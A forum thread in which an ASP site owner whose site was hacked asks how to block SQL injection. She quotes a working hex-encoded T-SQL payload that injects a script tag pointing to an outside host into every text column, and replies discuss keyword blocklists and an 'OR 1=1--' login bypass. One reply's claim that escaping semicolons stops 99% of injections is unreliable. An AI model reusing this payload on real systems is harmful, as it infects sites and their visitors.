SQL injection prevention & asp

[Clarice Summer]

hi
I am trying to block from the hackers.

(CAST(0X4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);

Here is my code: How should I modify to block the cast statement above.

<%
'Use these Constants to designate the type of Event Log.
const TYP_SUCCESS = 0
const TYP_ERROR = 1
const TYP_WARNING = 2
const TYP_INFORMATION = 4
const TYP_AUDIT_SUCCESS = 8
const TYP_AUDIT_FAILURE = 16

Dim Con

' SQL Injection blocking
 
Dim strQuery, strVariable, strValue

strQuery = UCase(Request.QueryString)
strQuery = Replace(strValue, "(CAST", "")

For Each strVariable In Request.QueryString
    strValue = UCase(Request.QueryString(strVariable))
    If (InStr(strValue,"EXEC(") > 0 OR _
        InStr(strValue,"CAST(") > 0 OR _
        InStr(strValue,";--") > 0 OR _
        InStr(strValue,"'") > 0) AND _
        strValue <> "Exec" AND _
        strValue <> "CAST" AND _
        strValue <> ";--" AND _
        strValue <> "'" Then
        
        Response.Write "It appears your request contains illegal values.  Please use your back button to change the data or contact .com"
        
        WriteEventLog "Illegal internet request detected (" & strValue & " - " & Request.ServerVariables("PATH_INFO") & " - " & Request.ServerVariables("REMOTE_ADDR") & ")", TYP_WARNING
        
        Response.End 
    End If
Next

For Each strVariable In Request.Form
    strValue = UCase(Request.Form(strVariable))
    If (InStr(strValue,"EXEC(") > 0 OR _
        InStr(strValue,"CAST(") > 0 OR _
        InStr(strValue,";--") > 0 OR _
        InStr(strValue,"'") > 0) AND _
        strValue <> "Exec" AND _
        strValue <> "CAST" AND _
        strValue <> ";--" AND _
        strValue <> "'" Then

        Response.Write "It appears your request contains illegal values.  Please use your back button to change the data or contact .com"
        
        WriteEventLog "Illegal internet request detected (" & strValue & ")", TYP_WARNING
        
        Response.End 
    End If
Next

thank you!

[jhardman]

What is an example of a legal post here? What is acceptable?

Jared

[Clarice Summer]

Any letters is acceptable except cast, Exec, Execute statement that hackers do. Out asp site got hacked few times. I am trying to block sql injection

[jhardman]

First notice the use of semi-colons. Every sql injection I've heard of uses either semi-colons or the 'go' keyword. (I've heard rumors of others, but if I knew what they were, I certainly wouldn't post them here) So the first thing I would do is replace all semi-colons with the appropriate html character code.

strValue = replace(strValue, ";", ";")

notice that this will foil 99% of injections, but will display correctly on the screen for those times that a semi-colon is needed.

Second, I would use the instr() function you use above to test for "cast(" and "exec(" and cause the whole thing to fail. The only difference I would put is not use if ... Or ... or ... Or. It's just very easy to make mistakes in those. There's no problem testing for one at a time, but if you want to be more elegant, make an array of forbidden strings, and loop thru them testing for each one individually. Does this make sense?

Jared

[Clarice Summer]

Hi Jared
Thank you for the great explanation.

[danp129]

The hacker either escaped a user input field that was compared as a string and you didn't escape the single quotes, or they simply passed it in a input field that you compared as a number without ensuring the input was numeric. Other databases have some extra escape characters that will affect string comparisons.


I have not seen a SQL injection attack that worked on Microsoft SQL Server if these simple things were followed:

Strings:
Replace single quotes with two single quotes i.e. Replace(userInp ut, "'", "''").
Do not truncate user input after single quotes have been replaced. You may end up removing a doubled quote that escaped one before it which now allows the next user input to run as a command if more than one user input is used in the query.

Numbers:
Make sure numbers are numeric using isNumeric or converting it (cLng, cInt, cDbl, etc). This will not allow comments or semi-colons or anything other else that is not than a numeric value.



There are a lot of examples that explain replacing quotes and making sure numbers are numbers, here's an example of how truncating user input after replacing the quotes can cause an issue:

dim strSql
dim userInputName
dim userInputPass

userInputName = " ''" ' value from Request.Form("username") 
userInputPass = "OR 1=1--" ' value from Request.Form("password")

userInputName = replace(userInputName, "'", "''")
userInputPass = replace(userInputPass, "'", "''")


' Note values of vars holding user input are now:
' userInputName = " ''''" (a space and 4 single quotes)
' userInputPass = "OR 1=1--"

userInputName = left(userInputName, 4) ' You likely wouldn't limit to 4 but makes example easier to read
userInputPass = left(userInputPass, 10)

' Note values of vars holding user input are now:
' userInputName = " '''" (a space and 3 single quotes [an odd number of quotes])
' userInputPass = " OR 1=1--"

Example Query:
strSql = "SELECT * FROM users WHERE" & _
         " username='" & userInputName & "'" & _
         " AND" & _
         " password='" & userInputPass & "'"


Concatenated string (made multi-line for easier reading):
SELECT * FROM users WHERE
username=' '''' AND password='
OR 1=1--'

(note -- is comment and everything after -- is ignored if it is not quoted)

I would also recommend using parameterized SQL instead of concatenating user input. See the 3rd example here for how to use parameterized SQL without a stored procedure. This is slightly safer in some cases but the best part is it is easier to read and maintain once you get used to it and you will be ready to use stored procedures with little changes if/when the time comes.